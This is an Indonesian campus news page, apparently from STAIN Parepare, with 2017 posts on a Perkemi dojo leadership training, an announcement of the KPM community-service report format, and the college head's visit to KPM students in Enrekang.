STAIN Parepare- Perkemi Dojo STAIN Parepare melaksanakan kegiatan Training Skill Kenshi (Tangkis). Kegiatan yang dimulai pada tanggal 28 Juli ini akan berakhir sampai tanggal 07 Agustus 2017 dengan diikuti 13 orang peserta dari 26 anggota. Peserta training merupakan angkatan ke-11 dalam organisasi ini (mahasiswa STAIN Parepare angkatan 2016). Berbagai materi yang diberikan oleh trainer seperti materi public speaking, manajemen kepengurusan, keorganisasian, dinamika kelompok dan problem solving dengan berkonsepkan camp di lantai 3 LAB ICT STAIN Parepare. Adi Irwandi selaku ketua Perkemi Dojo STAIN Parepare mengatakan kegiatan ini merupakan jenjang yang terakhir yang wajib diikuti oleh setiap anggota ketika ingin menjadi pengurus. “Saya harap peserta atau anggota memanfaatkan kegiatan ini dengan sebaik-baiknya artinya mampu belajar dengan bersungguh-sungguh agar dapat menjadi pengurus yang lebih baik daripada kami”, tambahnya disela - sela kegiatan.
Pengumuman: Format/Sistematika Laporan KPM Tahun 2017
Pusat Penelitian dan Pengabdian Pada Masyarakat (P3M) STAIN Parepare mengeluarkan format atau sistematika laporan KPM tahun 2017 (3/08). Batas akhir penyerahan laporan paling lambat 1 minggu setelah penarikan dari lokasi KPM dan seluruh peserta Kuliah Pengabdian Masyarakat (KPM) diharapkan agar mengikuti ketentuan dan standar pelaporan KPM.
Download
FORMAT LAPORAN KPM 2017
Download
FORMAT LAPORAN KPM 2017
Kunjungan Ketua STAIN Parepare ke Lokasi KPM
Kunjungan Ketua STAIN Parepare Ahmad S. Rustan ke salah satu lokasi KPM (Kuliah Pengabdian Masyarakat) di desa Latimojong kabupaten Enrekang (01/08). Hal ini dilakukan untuk memantau kinerja mahasiswa yang sedang melakukan Kuliah Pengabdian Masyarakat (KPM). Sebanyak 722 mahasiswa yang mengikuti KPM ini yang tersebar di 90 desa dari 10 kecamatan yang ada di kabupaten Enrekang.
Langganan:
Postingan (Atom)